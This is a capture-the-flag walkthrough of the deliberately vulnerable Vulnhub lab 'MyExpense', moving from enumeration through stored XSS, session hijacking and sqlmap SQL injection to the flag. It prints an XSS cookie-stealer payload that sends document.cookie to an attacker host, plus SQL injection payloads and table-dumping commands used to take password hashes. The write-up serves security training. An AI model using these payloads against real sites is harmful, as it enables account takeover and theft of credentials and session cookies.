Vulnhub - MyExpense

1. Intro

MyExpense is a deliberately vulnerable web application that allows you to train in detecting and exploiting different web vulnerabilities. Unlike a more traditional "challenge" application (which allows you to train on a single specific vulnerability), MyExpense contains a set of vulnerabilities you need to exploit to achieve the whole scenario.

1.1 Description

You are "Samuel Lamotte" and you have just been fired by your company "Furtura Business Informatique". Unfortunately because of your hasty departure, you did not have time to validate your expense report for your last business trip, which still amounts to 750 € corresponding to a return flight to your last customer.

Fearing that your former employer may not want to reimburse you for this expense report, you decide to hack into the internal application called "MyExpense " to manage employee expense reports.

So you are in your car, in the company carpark and connected to the internal Wi-Fi (the key has still not been changed after your departure). The application is protected by username/password authentication and you hope that the administrator has not yet modified or deleted your access.

Your credentials were: samuel/fzghn4lw

Once the challenge is done, the flag will be displayed on the application while being connected with your (samuel) account.

You can get a copy of the application here https://www.vulnhub.com/entry/myexpense-1,405/

2. The Setup

Vulnerable Machine Name:    MyExpense
Vulnerable Machine VM:      VirtualBox
Vulnerable Machine Network: 192.168.56.103

Attacker Machine:           Kali Linux 2019.4 (Running on vmwar
Vulnerable Machine VM:      VMWare
Vulnerable Machine Network: 192.168.56.102

3. Host Discovery

We begin by trying to locate the IP address of our target. To do this we use nmap with the following command: nmap -sn 192.168.56.0/24

# Command breaks down as follows-sn             # This option tells Nmap not to do a port scan after host discovery, and only print out the available hosts that responded to the host discovery probes. This is often known as a “ping scan”192.168.56.0/24 # IP range

As can be seen from Figure 3, our target is going to be 192.168.56.103. Having identified our target, we will do a full TCP port scan to identify any open ports and services running using the following command nmap -sS -A -T4 -p- 192.168.56.103

# Command breaks down as follows
-sS      # runs stealth syn scan
-A       # OS and version detection + traceroute and scripts
-T4      # T4 timing
192.168.56.103 # Target IP

4. Service Enumeration

As per the description of this box our goal is to "hack into the internal application called "MyExpense " to manage employee expense reports". We are also provided with a set of credentials. Based on this we will focus on the Apache webserver on port 80 - Figure 4.

From examining the home page we see that we can access the following pages:

  • Login.php - Figure 6

  • Signup.php - Figure 7

Examining the robots.txt file also leads us to another page - admin.php

The admin.php page appears to show a list of all valid user accounts of the MyExpense application, however our target account - Samuel Lamotte appears to have been disabled. Clicking on “inactive” button does not activate the account but does result with 401 error unauthorized - Figure 10.

Attempting to login with the credentials samuel/fzghn4lw results in an unsuccessful login attempt as expected - Figure 10.

4.1 Directory Brute Force Attack

We continue our enumeration by performing directory brute force attack using the following command:

gobuster dir -u http://192.168.56.101/ -w /usr/share/dirb/wordlists/big.txt

However this didn't result in much.

5. Cross Site Scripting

Performing manual testing on the signup.php page it was discovered that a stored XSS vulnerability exists.

Note: The sign up button at the end of the form is disabled - Figure 14, this can be easily bypassed by editing the html code - Figure 15.

Attempting to login with the account we created Test1/Test1234567 resulted in the same error as before when we tried to login with samuel/fzghn4lw. However by visting the admin.php page we can see that our XSS payload executes successfully.

6. Initial Foothold

Having verified that a stored XSS vulnerability exists within the MyExpense application our next step is to setup a cookiestealer.

As can be seen from Figure 19, the application appears to request a file our dummy server every 30 seconds. Attempting to take advantage of this, we copy out the captured cookie and again (Ref Fig 10) attempt to activate the account belonging to Samuel Lamotte - Figure 20 - 21

As can be seen from Figure 20, we receive an error informing us that "Sorry, as an administrator, you can be authenticated only once a time". To circumvent this, we will create another account except this time we will modify our XSS payload to activate the account belonging to Samuel Lamotte for us.

# XSS Payload
<script>document.write('<img src="http://192.168.56.104/admin/admin.php?id=11&status=active"/>');</script>

Note: The virtual machine crashed and needed to be reset so the new IP address for the MyExpense-1 Box is 192.168.56.104

As can be seen in Figure 24 we have successfully reactivated the account belonging to Samuel Lamotte and can successfully login to the application using the creds provided slamotte/fzghn4lw

7. Samuel Lamotte

Next we check the expenses section - Figure 26. As per the description our goal is to validate our last expense report. We submit the application - Figure 27.

Checking the status of our expenses post submission shows that we have successfully submitted our expenses. As per Figure 24, the next step is for a manager to approve it.

Browsing to the profile section of the account we can see that the manager is Manon Riveire - Figure 29.

8. Escalating To Manager Account

Navigating the index.php page it was discovered that a stored XSS vulnerability exists in what appears to be a managers messaging system.

Next we reuse the same cookiestealer trick we used earlier.

# XSS Cookie Stealer Payload 
<script>new Image().src="http://192.168.56.102/cookiestealer.php?c="+document.cookie;</script>

As can be seen from Figure 33 we are able to successfully hijack the session belonging to Manon Riveire.

Browsing to the expenses tab we see the expense report belonging to Samuel Lamotte and we validate it, Figure 34 - Figure 36.

Logging back in to the the account belonging to Samuel Lamotte we can see that our report has been validated, however we still do not see the flag.

9. Escalating To Financial Approver Account

Reviewing the "managers messaging system" we see a comment from one of the Financial approvers indicating that when they have approved a report it's status will be set to "Sent for payment". From this we can infer that we may need to once again escalate to a more privileged account and approve the report from there.

After some manual testing it was discovered that an SQL injection vulnerability exists in the Rennes page - Figure 39.

# SQLMap

sqlmap -u http://192.168.56.104/site.php?id=2 --headers="User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0" --cookie="PHPSESSID=affeq9aauq5tfgha4ah5frfi95"

Next we enumerate the tables:

# SQLMap Command
sqlmap -u http://192.168.56.104/site.php?id=2 --headers="User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0" --cookie="PHPSESSID=affeq9aauq5tfgha4ah5frfi95" --tables
# SQLMap Output

sqlmap -u http://192.168.56.104/site.php?id=2 --headers="User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0" --cookie="PHPSESSID=affeq9aauq5tfgha4ah5frfi95" --tables
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.2#stable}
|_ -| . ["]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:48:00 /2020-02-17/

[20:48:00] [INFO] resuming back-end DBMS 'mysql' 
[20:48:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=2 AND 9353=9353

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=2 AND (SELECT 2836 FROM (SELECT(SLEEP(5)))VgXz)

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=2 UNION ALL SELECT CONCAT(0x716a707671,0x61496f69714d53455565686a4a67736b64465061774e49726766567774477641696c4b5955734779,0x71627a6a71),NULL-- kdRh
---
[20:48:00] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[20:48:00] [INFO] fetching database names
[20:48:00] [INFO] fetching tables for databases: 'information_schema, myexpense, mysql, performance_schema'
Database: information_schema
[78 tables]
+----------------------------------------------------+
| ALL_PLUGINS                                        |
| APPLICABLE_ROLES                                   |
| CHANGED_PAGE_BITMAPS                               |
| CHARACTER_SETS                                     |
| CLIENT_STATISTICS                                  |
| COLLATIONS                                         |
| COLLATION_CHARACTER_SET_APPLICABILITY              |
| COLUMNS                                            |
| COLUMN_PRIVILEGES                                  |
| ENABLED_ROLES                                      |
| ENGINES                                            |
| EVENTS                                             |
| FILES                                              |
| GEOMETRY_COLUMNS                                   |
| GLOBAL_STATUS                                      |
| GLOBAL_VARIABLES                                   |
| INDEX_STATISTICS                                   |
| INNODB_BUFFER_PAGE                                 |
| INNODB_BUFFER_PAGE_LRU                             |
| INNODB_BUFFER_POOL_STATS                           |
| INNODB_CHANGED_PAGES                               |
| INNODB_CMP                                         |
| INNODB_CMPMEM                                      |
| INNODB_CMPMEM_RESET                                |
| INNODB_CMP_PER_INDEX                               |
| INNODB_CMP_PER_INDEX_RESET                         |
| INNODB_CMP_RESET                                   |
| INNODB_FT_BEING_DELETED                            |
| INNODB_FT_CONFIG                                   |
| INNODB_FT_DEFAULT_STOPWORD                         |
| INNODB_FT_DELETED                                  |
| INNODB_FT_INDEX_CACHE                              |
| INNODB_FT_INDEX_TABLE                              |
| INNODB_LOCKS                                       |
| INNODB_LOCK_WAITS                                  |
| INNODB_METRICS                                     |
| INNODB_MUTEXES                                     |
| INNODB_SYS_COLUMNS                                 |
| INNODB_SYS_DATAFILES                               |
| INNODB_SYS_FIELDS                                  |
| INNODB_SYS_FOREIGN                                 |
| INNODB_SYS_FOREIGN_COLS                            |
| INNODB_SYS_INDEXES                                 |
| INNODB_SYS_SEMAPHORE_WAITS                         |
| INNODB_SYS_TABLES                                  |
| INNODB_SYS_TABLESPACES                             |
| INNODB_SYS_TABLESTATS                              |
| INNODB_TABLESPACES_ENCRYPTION                      |
| INNODB_TABLESPACES_SCRUBBING                       |
| INNODB_TRX                                         |
| KEY_CACHES                                         |
| KEY_COLUMN_USAGE                                   |
| PARAMETERS                                         |
| PARTITIONS                                         |
| PLUGINS                                            |
| PROCESSLIST                                        |
| PROFILING                                          |
| REFERENTIAL_CONSTRAINTS                            |
| ROUTINES                                           |
| SCHEMATA                                           |
| SCHEMA_PRIVILEGES                                  |
| SESSION_STATUS                                     |
| SESSION_VARIABLES                                  |
| SPATIAL_REF_SYS                                    |
| STATISTICS                                         |
| SYSTEM_VARIABLES                                   |
| TABLES                                             |
| TABLESPACES                                        |
| TABLE_CONSTRAINTS                                  |
| TABLE_PRIVILEGES                                   |
| TABLE_STATISTICS                                   |
| TRIGGERS                                           |
| USER_PRIVILEGES                                    |
| USER_STATISTICS                                    |
| VIEWS                                              |
| XTRADB_INTERNAL_HASH_TABLES                        |
| XTRADB_READ_VIEW                                   |
| XTRADB_RSEG                                        |
+----------------------------------------------------+

Database: myexpense
[4 tables]
+----------------------------------------------------+
| user                                               |
| expense                                            |
| message                                            |
| site                                               |
+----------------------------------------------------+

Database: mysql
[30 tables]
+----------------------------------------------------+
| user                                               |
| column_stats                                       |
| columns_priv                                       |
| db                                                 |
| event                                              |
| func                                               |
| general_log                                        |
| gtid_slave_pos                                     |
| help_category                                      |
| help_keyword                                       |
| help_relation                                      |
| help_topic                                         |
| host                                               |
| index_stats                                        |
| innodb_index_stats                                 |
| innodb_table_stats                                 |
| plugin                                             |
| proc                                               |
| procs_priv                                         |
| proxies_priv                                       |
| roles_mapping                                      |
| servers                                            |
| slow_log                                           |
| table_stats                                        |
| tables_priv                                        |
| time_zone                                          |
| time_zone_leap_second                              |
| time_zone_name                                     |
| time_zone_transition                               |
| time_zone_transition_type                          |
+----------------------------------------------------+

Database: performance_schema
[52 tables]
+----------------------------------------------------+
| accounts                                           |
| cond_instances                                     |
| events_stages_current                              |
| events_stages_history                              |
| events_stages_history_long                         |
| events_stages_summary_by_account_by_event_name     |
| events_stages_summary_by_host_by_event_name        |
| events_stages_summary_by_thread_by_event_name      |
| events_stages_summary_by_user_by_event_name        |
| events_stages_summary_global_by_event_name         |
| events_statements_current                          |
| events_statements_history                          |
| events_statements_history_long                     |
| events_statements_summary_by_account_by_event_name |
| events_statements_summary_by_digest                |
| events_statements_summary_by_host_by_event_name    |
| events_statements_summary_by_thread_by_event_name  |
| events_statements_summary_by_user_by_event_name    |
| events_statements_summary_global_by_event_name     |
| events_waits_current                               |
| events_waits_history                               |
| events_waits_history_long                          |
| events_waits_summary_by_account_by_event_name      |
| events_waits_summary_by_host_by_event_name         |
| events_waits_summary_by_instance                   |
| events_waits_summary_by_thread_by_event_name       |
| events_waits_summary_by_user_by_event_name         |
| events_waits_summary_global_by_event_name          |
| file_instances                                     |
| file_summary_by_event_name                         |
| file_summary_by_instance                           |
| host_cache                                         |
| hosts                                              |
| mutex_instances                                    |
| objects_summary_global_by_type                     |
| performance_timers                                 |
| rwlock_instances                                   |
| session_account_connect_attrs                      |
| session_connect_attrs                              |
| setup_actors                                       |
| setup_consumers                                    |
| setup_instruments                                  |
| setup_objects                                      |
| setup_timers                                       |
| socket_instances                                   |
| socket_summary_by_event_name                       |
| socket_summary_by_instance                         |
| table_io_waits_summary_by_index_usage              |
| table_io_waits_summary_by_table                    |
| table_lock_waits_summary_by_table                  |
| threads                                            |
| users                                              |
+----------------------------------------------------+

[20:48:01] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.104'

Dumping the data from the expense table we can gather a list of users and there hashed passwords:

# SQLMap Query

sqlmap -u http://192.168.56.104/site.php?id=2 --headers="User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0" --cookie="PHPSESSID=affeq9aauq5tfgha4ah5frfi95" --dump --tables -D myexpense - T expense

We grab the password hash for user pbaudouin - Figure 33, upload it to crackstation and successfully retrieve the decoded password - Figure 41

10. Capturing The Flag

Logging into the account belonging to Paul Baudouin using credentials pbaudouin/HackMe and navigating to the expenses tab we can see the expense report for Samuel Lamotte and validate it.

As per the VM description 'Once the challenge is done, the flag will be displayed on the application while being connected with your (samuel) account.'

Finally we log back into the account belonging to Samuel Lamotte and navigate to the expense tab.

Last updated